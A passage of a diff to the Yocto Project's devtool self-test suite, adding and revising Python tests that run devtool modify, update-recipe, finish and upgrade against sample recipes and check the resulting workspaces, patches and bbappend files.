result = runCmd('bitbake-layers show-recipes gcc-source*')
for line in result.output.splitlines():
@@ -693,6 +852,44 @@ class DevtoolModifyTests(DevtoolBase):
self.assertTrue(bbclassextended, 'None of these recipes are BBCLASSEXTENDed to native - need to adjust testrecipes list: %s' % ', '.join(testrecipes))
self.assertTrue(inheritnative, 'None of these recipes do "inherit native" - need to adjust testrecipes list: %s' % ', '.join(testrecipes))
+ def test_devtool_modify_localfiles_only(self):
+ # Check preconditions
+ testrecipe = 'base-files'
+ src_uri = (get_bb_var('SRC_URI', testrecipe) or '').split()
+ foundlocalonly = False
+ correct_symlink = False
+ for item in src_uri:
+ if item.startswith('file://'):
+ if '.patch' not in item:
+ foundlocalonly = True
+ else:
+ foundlocalonly = False
+ break
+ self.assertTrue(foundlocalonly, 'This test expects the %s recipe to fetch local files only and it seems that it no longer does' % testrecipe)
+ # Clean up anything in the workdir/sysroot/sstate cache
+ bitbake('%s -c cleansstate' % testrecipe)
+ # Try modifying a recipe
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake -c clean %s' % testrecipe)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool modify %s -x %s' % (testrecipe, tempdir))
+ srcfile = os.path.join(tempdir, 'oe-local-files/share/dot.bashrc')
+ srclink = os.path.join(tempdir, 'share/dot.bashrc')
+ self.assertExists(srcfile, 'Extracted source could not be found')
+ if os.path.islink(srclink) and os.path.exists(srclink) and os.path.samefile(srcfile, srclink):
+ correct_symlink = True
+ self.assertTrue(correct_symlink, 'Source symlink to oe-local-files is broken')
+
+ matches = glob.glob(os.path.join(self.workspacedir, 'appends', '%s_*.bbappend' % testrecipe))
+ self.assertTrue(matches, 'bbappend not created')
+ # Test devtool status
+ result = runCmd('devtool status')
+ self.assertIn(testrecipe, result.output)
+ self.assertIn(tempdir, result.output)
+ # Try building
+ bitbake(testrecipe)
def test_devtool_modify_git(self):
# Check preconditions
@@ -721,6 +918,122 @@ class DevtoolModifyTests(DevtoolBase):
# Try building
bitbake(testrecipe)
+ def test_devtool_modify_git_no_extract(self):
+ # Check preconditions
+ testrecipe = 'psplash'
+ src_uri = get_bb_var('SRC_URI', testrecipe)
+ self.assertIn('git://', src_uri, 'This test expects the %s recipe to be a git recipe' % testrecipe)
+ # Clean up anything in the workdir/sysroot/sstate cache
+ bitbake('%s -c cleansstate' % testrecipe)
+ # Try modifying a recipe
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake -c clean %s' % testrecipe)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('git clone https://git.yoctoproject.org/psplash %s && devtool modify -n %s %s' % (tempdir, testrecipe, tempdir))
+ self.assertExists(os.path.join(self.workspacedir, 'conf', 'layer.conf'), 'Workspace directory not created. devtool output: %s' % result.output)
+ matches = glob.glob(os.path.join(self.workspacedir, 'appends', 'psplash_*.bbappend'))
+ self.assertTrue(matches, 'bbappend not created')
+ # Test devtool status
+ result = runCmd('devtool status')
+ self.assertIn(testrecipe, result.output)
+ self.assertIn(tempdir, result.output)
+
+ def test_devtool_modify_git_crates_subpath(self):
+ # This tests two things in devtool context:
+ # - that we support local git dependencies for cargo based recipe
+ # - that we support patches in SRC_URI when git url contains subpath parameter
+
+ # Check preconditions:
+ # recipe inherits cargo
+ # git:// uri with a subpath as the main package
+ # some crate:// in SRC_URI
+ # others git:// in SRC_URI
+ # cointains a patch
+ testrecipe = 'hello-rs'
+ bb_vars = get_bb_vars(['SRC_URI', 'FILE', 'WORKDIR', 'CARGO_HOME'], testrecipe)
+ recipefile = bb_vars['FILE']
+ workdir = bb_vars['WORKDIR']
+ cargo_home = bb_vars['CARGO_HOME']
+ src_uri = bb_vars['SRC_URI'].split()
+ self.assertTrue(src_uri[0].startswith('git://'),
+ 'This test expects the %s recipe to have a git repo has its main uri' % testrecipe)
+ self.assertIn(';subpath=', src_uri[0],
+ 'This test expects the %s recipe to have a git uri with subpath' % testrecipe)
+ self.assertTrue(any([uri.startswith('crate://') for uri in src_uri]),
+ 'This test expects the %s recipe to have some crates in its src uris' % testrecipe)
+ self.assertGreaterEqual(sum(map(lambda x:x.startswith('git://'), src_uri)), 2,
+ 'This test expects the %s recipe to have several git:// uris' % testrecipe)
+ self.assertTrue(any([uri.startswith('file://') and '.patch' in uri for uri in src_uri]),
+ 'This test expects the %s recipe to have a patch in its src uris' % testrecipe)
+
+ self._test_recipe_contents(recipefile, {}, ['ptest-cargo'])
+
+ # Clean up anything in the workdir/sysroot/sstate cache
+ bitbake('%s -c cleansstate' % testrecipe)
+ # Try modifying a recipe
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake -c clean %s' % testrecipe)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool modify %s -x %s' % (testrecipe, tempdir))
+ self.assertExists(os.path.join(tempdir, 'Cargo.toml'), 'Extracted source could not be found')
+ self.assertExists(os.path.join(self.workspacedir, 'conf', 'layer.conf'), 'Workspace directory not created. devtool output: %s' % result.output)
+ matches = glob.glob(os.path.join(self.workspacedir, 'appends', '%s_*.bbappend' % testrecipe))
+ self.assertTrue(matches, 'bbappend not created')
+ # Test devtool status
+ result = runCmd('devtool status')
+ self.assertIn(testrecipe, result.output)
+ self.assertIn(tempdir, result.output)
+ # Check git repo
+ self._check_src_repo(tempdir)
+ # Check that the patch is correctly applied.
+ # The last commit message in the tree must contain the following note:
+ # Notes (devtool):
+ # original patch: <patchname>
+ # ..
+ patchname = None
+ for uri in src_uri:
+ if uri.startswith('file://') and '.patch' in uri:
+ patchname = uri.replace("file://", "").partition('.patch')[0] + '.patch'
+ self.assertIsNotNone(patchname)
+ result = runCmd('git -C %s log -1' % tempdir)
+ self.assertIn("Notes (devtool):\n original patch: %s" % patchname, result.output)
+
+ # Configure the recipe to check that the git dependencies are correctly patched in cargo config
+ bitbake('-c configure %s' % testrecipe)
+
+ cargo_config_path = os.path.join(cargo_home, 'config')
+ with open(cargo_config_path, "r") as f:
+ cargo_config_contents = [line.strip('\n') for line in f.readlines()]
+
+ # Get back git dependencies of the recipe (ignoring the main one)
+ # and check that they are all correctly patched to be fetched locally
+ git_deps = [uri for uri in src_uri if uri.startswith("git://")][1:]
+ for git_dep in git_deps:
+ raw_url, _, raw_parms = git_dep.partition(";")
+ parms = {}
+ for parm in raw_parms.split(";"):
+ name_parm, _, value_parm = parm.partition('=')
+ parms[name_parm]=value_parm
+ self.assertIn('protocol', parms, 'git dependencies uri should contain the "protocol" parameter')
+ self.assertIn('name', parms, 'git dependencies uri should contain the "name" parameter')
+ self.assertIn('destsuffix', parms, 'git dependencies uri should contain the "destsuffix" parameter')
+ self.assertIn('type', parms, 'git dependencies uri should contain the "type" parameter')
+ self.assertEqual(parms['type'], 'git-dependency', 'git dependencies uri should have "type=git-dependency"')
+ raw_url = raw_url.replace("git://", '%s://' % parms['protocol'])
+ patch_line = '[patch."%s"]' % raw_url
+ path_patched = os.path.join(workdir, parms['destsuffix'])
+ path_override_line = '%s = { path = "%s" }' % (parms['name'], path_patched)
+ # Would have been better to use tomllib to read this file :/
+ self.assertIn(patch_line, cargo_config_contents)
+ self.assertIn(path_override_line, cargo_config_contents)
+
+ # Try to package the recipe
+ bitbake('-c package_qa %s' % testrecipe)
+
def test_devtool_modify_localfiles(self):
# Check preconditions
testrecipe = 'lighttpd'
@@ -772,6 +1085,57 @@ class DevtoolModifyTests(DevtoolBase):
self._check_src_repo(tempdir)
# This is probably sufficient
+ def test_devtool_modify_overrides(self):
+ # Try modifying a recipe with patches in overrides
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool modify devtool-patch-overrides -x %s' % (tempdir))
+
+ self._check_src_repo(tempdir)
+ source = os.path.join(tempdir, "source")
+ def check(branch, expected):
+ runCmd('git -C %s checkout %s' % (tempdir, branch))
+ with open(source, "rt") as f:
+ content = f.read()
+ self.assertEqual(content, expected)
+ if self.td["MACHINE"] == "qemux86":
+ check('devtool', 'This is a test for qemux86\n')
+ elif self.td["MACHINE"] == "qemuarm":
+ check('devtool', 'This is a test for qemuarm\n')
+ else:
+ check('devtool', 'This is a test for something\n')
+ check('devtool-no-overrides', 'This is a test for something\n')
+ check('devtool-override-qemuarm', 'This is a test for qemuarm\n')
+ check('devtool-override-qemux86', 'This is a test for qemux86\n')
+
+ def test_devtool_modify_multiple_sources(self):
+ # This test check that recipes fetching several sources can be used with devtool modify/build
+ # Check preconditions
+ testrecipe = 'bzip2'
+ src_uri = get_bb_var('SRC_URI', testrecipe)
+ src1 = 'https://' in src_uri
+ src2 = 'git://' in src_uri
+ self.assertTrue(src1 and src2, 'This test expects the %s recipe to fetch both a git source and a tarball and it seems that it no longer does' % testrecipe)
+ # Clean up anything in the workdir/sysroot/sstate cache
+ bitbake('%s -c cleansstate' % testrecipe)
+ # Try modifying a recipe
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake -c clean %s' % testrecipe)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool modify %s -x %s' % (testrecipe, tempdir))
+ self.assertEqual(result.status, 0, "Could not modify recipe %s. Output: %s" % (testrecipe, result.output))
+ # Test devtool status
+ result = runCmd('devtool status')
+ self.assertIn(testrecipe, result.output)
+ self.assertIn(tempdir, result.output)
+ # Try building
+ result = bitbake(testrecipe)
+ self.assertEqual(result.status, 0, "Bitbake failed, exit code %s, output %s" % (result.status, result.output))
+
class DevtoolUpdateTests(DevtoolBase):
def test_devtool_update_recipe(self):
@@ -801,14 +1165,15 @@ class DevtoolUpdateTests(DevtoolBase):
result = runCmd('git commit -m "Add a new file"', cwd=tempdir)
self.add_command_to_tearDown('cd %s; rm %s/*.patch; git checkout %s %s' % (os.path.dirname(recipefile), testrecipe, testrecipe, os.path.basename(recipefile)))
result = runCmd('devtool update-recipe %s' % testrecipe)
+ result = runCmd('git add minicom', cwd=os.path.dirname(recipefile))
expected_status = [(' M', '.*/%s$' % os.path.basename(recipefile)),
- ('??', '.*/0001-Change-the-README.patch$'),
- ('??', '.*/0002-Add-a-new-file.patch$')]
+ ('A ', '.*/0001-Change-the-README.patch$'),
+ ('A ', '.*/0002-Add-a-new-file.patch$')]
self._check_repo_status(os.path.dirname(recipefile), expected_status)
def test_devtool_update_recipe_git(self):
# Check preconditions
- testrecipe = 'mtd-utils'
+ testrecipe = 'mtd-utils-selftest'
bb_vars = get_bb_vars(['FILE', 'SRC_URI'], testrecipe)
recipefile = bb_vars['FILE']
src_uri = bb_vars['SRC_URI']
@@ -842,28 +1207,12 @@ class DevtoolUpdateTests(DevtoolBase):
self._check_repo_status(os.path.dirname(recipefile), expected_status)
result = runCmd('git diff %s' % os.path.basename(recipefile), cwd=os.path.dirname(recipefile))
- addlines = ['SRCREV = ".*"', 'SRC_URI = "git://git.infradead.org/mtd-utils.git"']
+ addlines = ['SRCREV = ".*"', 'SRC_URI = "git://git.infradead.org/mtd-utils.git;branch=master"']
srcurilines = src_uri.split()
srcurilines[0] = 'SRC_URI = "' + srcurilines[0]
srcurilines.append('"')
removelines = ['SRCREV = ".*"'] + srcurilines
- for line in result.output.splitlines():
- if line.startswith('+++') or line.startswith('---'):
- continue
- elif line.startswith('+'):
- matched = False
- for item in addlines:
- if re.match(item, line[1:].strip()):
- matched = True
- break
- self.assertTrue(matched, 'Unexpected diff add line: %s' % line)
- elif line.startswith('-'):
- matched = False
- for item in removelines:
- if re.match(item, line[1:].strip()):
- matched = True
- break
- self.assertTrue(matched, 'Unexpected diff remove line: %s' % line)
+ self._check_diff(result.output, addlines, removelines)
# Now try with auto mode
runCmd('cd %s; git checkout %s %s' % (os.path.dirname(recipefile), testrecipe, os.path.basename(recipefile)))
result = runCmd('devtool update-recipe %s' % testrecipe)
@@ -913,7 +1262,7 @@ class DevtoolUpdateTests(DevtoolBase):
self.assertExists(patchfile, 'Patch file not created')
# Check bbappend contents
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://0001-Add-our-custom-version.patch"\n',
'\n']
@@ -928,7 +1277,7 @@ class DevtoolUpdateTests(DevtoolBase):
result = runCmd('git reset HEAD^', cwd=tempsrcdir)
result = runCmd('devtool update-recipe %s -a %s' % (testrecipe, templayerdir))
self.assertNotExists(patchfile, 'Patch file not deleted')
- expectedlines2 = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines2 = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
with open(bbappendfile, 'r') as f:
self.assertEqual(expectedlines2, f.readlines())
@@ -945,10 +1294,11 @@ class DevtoolUpdateTests(DevtoolBase):
def test_devtool_update_recipe_append_git(self):
# Check preconditions
- testrecipe = 'mtd-utils'
- bb_vars = get_bb_vars(['FILE', 'SRC_URI'], testrecipe)
+ testrecipe = 'mtd-utils-selftest'
+ bb_vars = get_bb_vars(['FILE', 'SRC_URI', 'LAYERSERIES_CORENAMES'], testrecipe)
recipefile = bb_vars['FILE']
src_uri = bb_vars['SRC_URI']
+ corenames = bb_vars['LAYERSERIES_CORENAMES']
self.assertIn('git://', src_uri, 'This test expects the %s recipe to be a git recipe' % testrecipe)
for entry in src_uri.split():
if entry.startswith('git://'):
@@ -979,7 +1329,7 @@ class DevtoolUpdateTests(DevtoolBase):
f.write('BBFILE_PATTERN_oeselftesttemplayer = "^${LAYERDIR}/"\n')
f.write('BBFILE_PRIORITY_oeselftesttemplayer = "999"\n')
f.write('BBFILE_PATTERN_IGNORE_EMPTY_oeselftesttemplayer = "1"\n')
- f.write('LAYERSERIES_COMPAT_oeselftesttemplayer = "${LAYERSERIES_COMPAT_core}"\n')
+ f.write('LAYERSERIES_COMPAT_oeselftesttemplayer = "%s"\n' % corenames)
self.add_command_to_tearDown('bitbake-layers remove-layer %s || true' % templayerdir)
result = runCmd('bitbake-layers add-layer %s' % templayerdir, cwd=self.builddir)
# Create the bbappend
@@ -1197,7 +1547,7 @@ class DevtoolUpdateTests(DevtoolBase):
# Modify one file
srctree = os.path.join(self.workspacedir, 'sources', testrecipe)
runCmd('echo "Another line" >> README', cwd=srctree)
- runCmd('git commit -a --amend --no-edit', cwd=srctree)
+ runCmd('git commit -a --amend --no-edit --no-verify', cwd=srctree)
self.add_command_to_tearDown('cd %s; rm %s/*; git checkout %s %s' % (os.path.dirname(recipefile), testrecipe, testrecipe, os.path.basename(recipefile)))
result = runCmd('devtool update-recipe %s' % testrecipe)
expected_status = [(' M', '.*/%s/readme.patch.gz$' % testrecipe)]
@@ -1233,6 +1583,121 @@ class DevtoolUpdateTests(DevtoolBase):
expected_status = []
self._check_repo_status(os.path.dirname(recipefile), expected_status)
+ def test_devtool_finish_modify_git_subdir(self):
+ # Check preconditions
+ testrecipe = 'dos2unix'
+ self.append_config('ERROR_QA:remove:pn-dos2unix = "patch-status"\n')
+ bb_vars = get_bb_vars(['SRC_URI', 'S', 'WORKDIR', 'FILE'], testrecipe)
+ self.assertIn('git://', bb_vars['SRC_URI'], 'This test expects the %s recipe to be a git recipe' % testrecipe)
+ workdir_git = '%s/git/' % bb_vars['WORKDIR']
+ if not bb_vars['S'].startswith(workdir_git):
+ self.fail('This test expects the %s recipe to be building from a subdirectory of the git repo' % testrecipe)
+ subdir = bb_vars['S'].split(workdir_git, 1)[1]
+ # Clean up anything in the workdir/sysroot/sstate cache
+ bitbake('%s -c cleansstate' % testrecipe)
+ # Try modifying a recipe
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake -c clean %s' % testrecipe)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool modify %s -x %s' % (testrecipe, tempdir))
+ testsrcfile = os.path.join(tempdir, subdir, 'dos2unix.c')
+ self.assertExists(testsrcfile, 'Extracted source could not be found')
+ self.assertExists(os.path.join(self.workspacedir, 'conf', 'layer.conf'), 'Workspace directory not created. devtool output: %s' % result.output)
+ self.assertNotExists(os.path.join(tempdir, subdir, '.git'), 'Subdirectory has been initialised as a git repo')
+ # Check git repo
+ self._check_src_repo(tempdir)
+ # Modify file
+ runCmd("sed -i '1s:^:/* Add a comment */\\n:' %s" % testsrcfile)
+ result = runCmd('git commit -a -m "Add a comment"', cwd=tempdir)
+ # Now try updating original recipe
+ recipefile = bb_vars['FILE']
+ recipedir = os.path.dirname(recipefile)
+ self.add_command_to_tearDown('cd %s; rm -f %s/*.patch; git checkout .' % (recipedir, testrecipe))
+ result = runCmd('devtool update-recipe %s' % testrecipe)
+ expected_status = [(' M', '.*/%s$' % os.path.basename(recipefile)),
+ ('??', '.*/%s/%s/$' % (testrecipe, testrecipe))]
+ self._check_repo_status(os.path.dirname(recipefile), expected_status)
+ result = runCmd('git diff %s' % os.path.basename(recipefile), cwd=os.path.dirname(recipefile))
+ removelines = ['SRC_URI = "git://.*"']
+ addlines = [
+ 'SRC_URI = "git://.* \\\\',
+ 'file://0001-Add-a-comment.patch;patchdir=.. \\\\',
+ '"'
+ ]
+ self._check_diff(result.output, addlines, removelines)
+ # Put things back so we can run devtool finish on a different layer
+ runCmd('cd %s; rm -f %s/*.patch; git checkout .' % (recipedir, testrecipe))
+ # Run devtool finish
+ res = re.search('recipes-.*', recipedir)
+ self.assertTrue(res, 'Unable to find recipe subdirectory')
+ recipesubdir = res[0]
+ self.add_command_to_tearDown('rm -rf %s' % os.path.join(self.testlayer_path, recipesubdir))
+ result = runCmd('devtool finish %s meta-selftest' % testrecipe)
+ # Check bbappend file contents
+ appendfn = os.path.join(self.testlayer_path, recipesubdir, '%s_%%.bbappend' % testrecipe)
+ with open(appendfn, 'r') as f:
+ appendlines = f.readlines()
+ expected_appendlines = [
+ 'FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
+ '\n',
+ 'SRC_URI += "file://0001-Add-a-comment.patch;patchdir=.."\n',
+ '\n'
+ ]
+ self.assertEqual(appendlines, expected_appendlines)
+ self.assertExists(os.path.join(os.path.dirname(appendfn), testrecipe, '0001-Add-a-comment.patch'))
+ # Try building
+ bitbake('%s -c patch' % testrecipe)
+
+ def test_devtool_git_submodules(self):
+ # This tests if we can add a patch in a git submodule and extract it properly using devtool finish
+ # Check preconditions
+ self.assertTrue(not os.path.exists(self.workspacedir), 'This test cannot be run with a workspace directory under the build directory')
+ self.track_for_cleanup(self.workspacedir)
+ recipe = 'vulkan-samples'
+ src_uri = get_bb_var('SRC_URI', recipe)
+ self.assertIn('gitsm://', src_uri, 'This test expects the %s recipe to be a git recipe with submodules' % recipe)
+ oldrecipefile = get_bb_var('FILE', recipe)
+ recipedir = os.path.dirname(oldrecipefile)
+ result = runCmd('git status --porcelain .', cwd=recipedir)
+ if result.output.strip():
+ self.fail('Recipe directory for %s contains uncommitted changes' % recipe)
+ self.assertIn('/meta/', recipedir)
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool modify %s %s' % (recipe, tempdir))
+ self.assertExists(os.path.join(tempdir, 'CMakeLists.txt'), 'Extracted source could not be found')
+ # Test devtool status
+ result = runCmd('devtool status')
+ self.assertIn(recipe, result.output)
+ self.assertIn(tempdir, result.output)
+ # Modify a source file in a submodule, (grab the first one)
+ result = runCmd('git submodule --quiet foreach \'echo $sm_path\'', cwd=tempdir)
+ submodule = result.output.splitlines()[0]
+ submodule_path = os.path.join(tempdir, submodule)
+ runCmd('echo "#This is a first comment" >> testfile', cwd=submodule_path)
+ result = runCmd('git status --porcelain . ', cwd=submodule_path)
+ self.assertIn("testfile", result.output)
+ runCmd('git add testfile; git commit -m "Adding a new file"', cwd=submodule_path)
+
+ # Try finish to the original layer
+ self.add_command_to_tearDown('rm -rf %s ; cd %s ; git checkout %s' % (recipedir, os.path.dirname(recipedir), recipedir))
+ runCmd('devtool finish -f %s meta' % recipe)
+ result = runCmd('devtool status')
+ self.assertNotIn(recipe, result.output, 'Recipe should have been reset by finish but wasn\'t')
+ self.assertNotExists(os.path.join(self.workspacedir, 'recipes', recipe), 'Recipe directory should not exist after finish')
+ expected_status = [(' M', '.*/%s$' % os.path.basename(oldrecipefile)),
+ ('??', '.*/.*-Adding-a-new-file.patch$')]
+ self._check_repo_status(recipedir, expected_status)
+ # Make sure the patch is added to the recipe with the correct "patchdir" option
+ result = runCmd('git diff .', cwd=recipedir)
+ addlines = [
+ 'file://0001-Adding-a-new-file.patch;patchdir=%s \\\\' % submodule
+ ]
+ self._check_diff(result.output, addlines, [])
+
class DevtoolExtractTests(DevtoolBase):
def test_devtool_extract(self):
@@ -1281,29 +1746,9 @@ class DevtoolExtractTests(DevtoolBase):
matches2 = glob.glob(stampprefix2 + '*')
self.assertFalse(matches2, 'Stamp files exist for recipe %s that should have been cleaned' % testrecipe2)
+ @OETestTag("runqemu")
def test_devtool_deploy_target(self):
- # NOTE: Whilst this test would seemingly be better placed as a runtime test,
- # unfortunately the runtime tests run under bitbake and you can't run
- # devtool within bitbake (since devtool needs to run bitbake itself).
- # Additionally we are testing build-time functionality as well, so
- # really this has to be done as an oe-selftest test.
- #
- # Check preconditions
- machine = get_bb_var('MACHINE')
- if not machine.startswith('qemu'):
- self.skipTest('This test only works with qemu machines')
- if not os.path.exists('/etc/runqemu-nosudo'):
- self.skipTest('You must set up tap devices with scripts/runqemu-gen-tapdevs before running this test')
- result = runCmd('PATH="$PATH:/sbin:/usr/sbin" ip tuntap show', ignore_status=True)
- if result.status != 0:
- result = runCmd('PATH="$PATH:/sbin:/usr/sbin" ifconfig -a', ignore_status=True)
- if result.status != 0:
- self.skipTest('Failed to determine if tap devices exist with ifconfig or ip: %s' % result.output)
- for line in result.output.splitlines():
- if line.startswith('tap'):
- break
- else:
- self.skipTest('No tap devices found - you must set up tap devices with scripts/runqemu-gen-tapdevs before running this test')
+ self._check_runqemu_prerequisites()
self.assertTrue(not os.path.exists(self.workspacedir), 'This test cannot be run with a workspace directory under the build directory')
# Definitions
testrecipe = 'mdadm'
@@ -1401,6 +1846,14 @@ class DevtoolExtractTests(DevtoolBase):
class DevtoolUpgradeTests(DevtoolBase):
+ def setUp(self):
+ super().setUp()
+ try:
+ runCmd("git config --global user.name")
+ runCmd("git config --global user.email")
+ except:
+ self.skip("Git user.name and user.email must be set")
+
def test_devtool_upgrade(self):
# Check preconditions
self.assertTrue(not os.path.exists(self.workspacedir), 'This test cannot be run with a workspace directory under the build directory')
@@ -1481,6 +1934,54 @@ class DevtoolUpgradeTests(DevtoolBase):
self.assertNotIn(recipe, result.output)
self.assertNotExists(os.path.join(self.workspacedir, 'recipes', recipe), 'Recipe directory should not exist after resetting')
+ def test_devtool_upgrade_drop_md5sum(self):
+ # Check preconditions
+ self.assertTrue(not os.path.exists(self.workspacedir), 'This test cannot be run with a workspace directory under the build directory')
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ # For the moment, we are using a real recipe.
+ recipe = 'devtool-upgrade-test3'
+ version = '1.6.0'
+ oldrecipefile = get_bb_var('FILE', recipe)
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ # Check upgrade. Code does not check if new PV is older or newer that current PV, so, it may be that
+ # we are downgrading instead of upgrading.
+ result = runCmd('devtool upgrade %s %s -V %s' % (recipe, tempdir, version))
+ # Check new recipe file is present
+ newrecipefile = os.path.join(self.workspacedir, 'recipes', recipe, '%s_%s.bb' % (recipe, version))
+ self.assertExists(newrecipefile, 'Recipe file should exist after upgrade')
+ # Check recipe got changed as expected
+ with open(oldrecipefile + '.upgraded', 'r') as f:
+ desiredlines = f.readlines()
+ with open(newrecipefile, 'r') as f:
+ newlines = f.readlines()
+ self.assertEqual(desiredlines, newlines)
+
+ def test_devtool_upgrade_all_checksums(self):
+ # Check preconditions
+ self.assertTrue(not os.path.exists(self.workspacedir), 'This test cannot be run with a workspace directory under the build directory')
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ # For the moment, we are using a real recipe.
+ recipe = 'devtool-upgrade-test4'
+ version = '1.6.0'
+ oldrecipefile = get_bb_var('FILE', recipe)
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ # Check upgrade. Code does not check if new PV is older or newer that current PV, so, it may be that
+ # we are downgrading instead of upgrading.
+ result = runCmd('devtool upgrade %s %s -V %s' % (recipe, tempdir, version))
+ # Check new recipe file is present
+ newrecipefile = os.path.join(self.workspacedir, 'recipes', recipe, '%s_%s.bb' % (recipe, version))
+ self.assertExists(newrecipefile, 'Recipe file should exist after upgrade')
+ # Check recipe got changed as expected
+ with open(oldrecipefile + '.upgraded', 'r') as f:
+ desiredlines = f.readlines()
+ with open(newrecipefile, 'r') as f:
+ newlines = f.readlines()
+ self.assertEqual(desiredlines, newlines)
+
def test_devtool_layer_plugins(self):
"""Test that devtool can use plugins from other layers.
@@ -1499,7 +2000,15 @@ class DevtoolUpgradeTests(DevtoolBase):
for p in paths:
dstdir = os.path.join(dstdir, p)
if not os.path.exists(dstdir):
- os.makedirs(dstdir)
+ try:
+ os.makedirs(dstdir)
+ except PermissionError:
+ return False
+ except OSError as e:
+ if e.errno == errno.EROFS:
+ return False
+ else:
+ raise e
if p == "lib":
# Can race with other tests
self.add_command_to_tearDown('rmdir --ignore-fail-on-non-empty %s' % dstdir)
@@ -1507,8 +2016,12 @@ class DevtoolUpgradeTests(DevtoolBase):
self.track_for_cleanup(dstdir)
dstfile = os.path.join(dstdir, os.path.basename(srcfile))
if srcfile != dstfile:
- shutil.copy(srcfile, dstfile)
+ try:
+ shutil.copy(srcfile, dstfile)
+ except PermissionError:
+ return False
self.track_for_cleanup(dstfile)
+ return True
def test_devtool_load_plugin(self):
"""Test that devtool loads only the first found plugin in BBPATH."""
@@ -1526,15 +2039,17 @@ class DevtoolUpgradeTests(DevtoolBase):
plugincontent = fh.readlines()
try:
self.assertIn('meta-selftest', srcfile, 'wrong bbpath plugin found')
- for path in searchpath:
- self._copy_file_with_cleanup(srcfile, path, 'lib', 'devtool')
+ searchpath = [
+ path for path in searchpath
+ if self._copy_file_with_cleanup(srcfile, path, 'lib', 'devtool')
+ ]
result = runCmd("devtool --quiet count")
self.assertEqual(result.output, '1')
result = runCmd("devtool --quiet multiloaded")
self.assertEqual(result.output, "no")
for path in searchpath:
result = runCmd("devtool --quiet bbdir")
- self.assertEqual(result.output, path)
+ self.assertEqual(os.path.realpath(result.output), os.path.realpath(path))
os.unlink(os.path.join(result.output, 'lib', 'devtool', 'bbpath.py'))
finally:
with open(srcfile, 'w') as fh:
@@ -1715,6 +2230,52 @@ class DevtoolUpgradeTests(DevtoolBase):
if files:
self.fail('Unexpected file(s) copied next to bbappend: %s' % ', '.join(files))
+ def test_devtool_finish_update_patch(self):
+ # This test uses a modified version of the sysdig recipe from meta-oe.
+ # - The patches have been renamed.
+ # - The dependencies are commented out since the recipe is not being
+ # built.
+ #
+ # The sysdig recipe is interesting in that it fetches two different Git
+ # repositories, and there are patches for both. This leads to that
+ # devtool will create ignore commits as it uses Git submodules to keep
+ # track of the second repository.
+ #
+ # This test will verify that the ignored commits actually are ignored
+ # when a commit in between is modified. It will also verify that the
+ # updated patch keeps its original name.
+
+ # Check preconditions
+ self.assertTrue(not os.path.exists(self.workspacedir), 'This test cannot be run with a workspace directory under the build directory')
+ # Try modifying a recipe
+ self.track_for_cleanup(self.workspacedir)
+ recipe = 'sysdig-selftest'
+ recipefile = get_bb_var('FILE', recipe)
+ recipedir = os.path.dirname(recipefile)
+ result = runCmd('git status --porcelain .', cwd=recipedir)
+ if result.output.strip():
+ self.fail('Recipe directory for %s contains uncommitted changes' % recipe)
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool modify %s %s' % (recipe, tempdir))
+ self.add_command_to_tearDown('cd %s; rm %s/*; git checkout %s %s' % (recipedir, recipe, recipe, os.path.basename(recipefile)))
+ self.assertExists(os.path.join(tempdir, 'CMakeLists.txt'), 'Extracted source could not be found')
+ # Make a change to one of the existing commits
+ result = runCmd('echo "# A comment " >> CMakeLists.txt', cwd=tempdir)
+ result = runCmd('git status --porcelain', cwd=tempdir)
+ self.assertIn('M CMakeLists.txt', result.output)
+ result = runCmd('git commit --fixup HEAD^ CMakeLists.txt', cwd=tempdir)
+ result = runCmd('git show -s --format=%s', cwd=tempdir)
+ self.assertIn('fixup! cmake: Pass PROBE_NAME via CFLAGS', result.output)
+ result = runCmd('GIT_SEQUENCE_EDITOR=true git rebase -i --autosquash devtool-base', cwd=tempdir)
+ result = runCmd('devtool finish %s meta-selftest' % recipe)
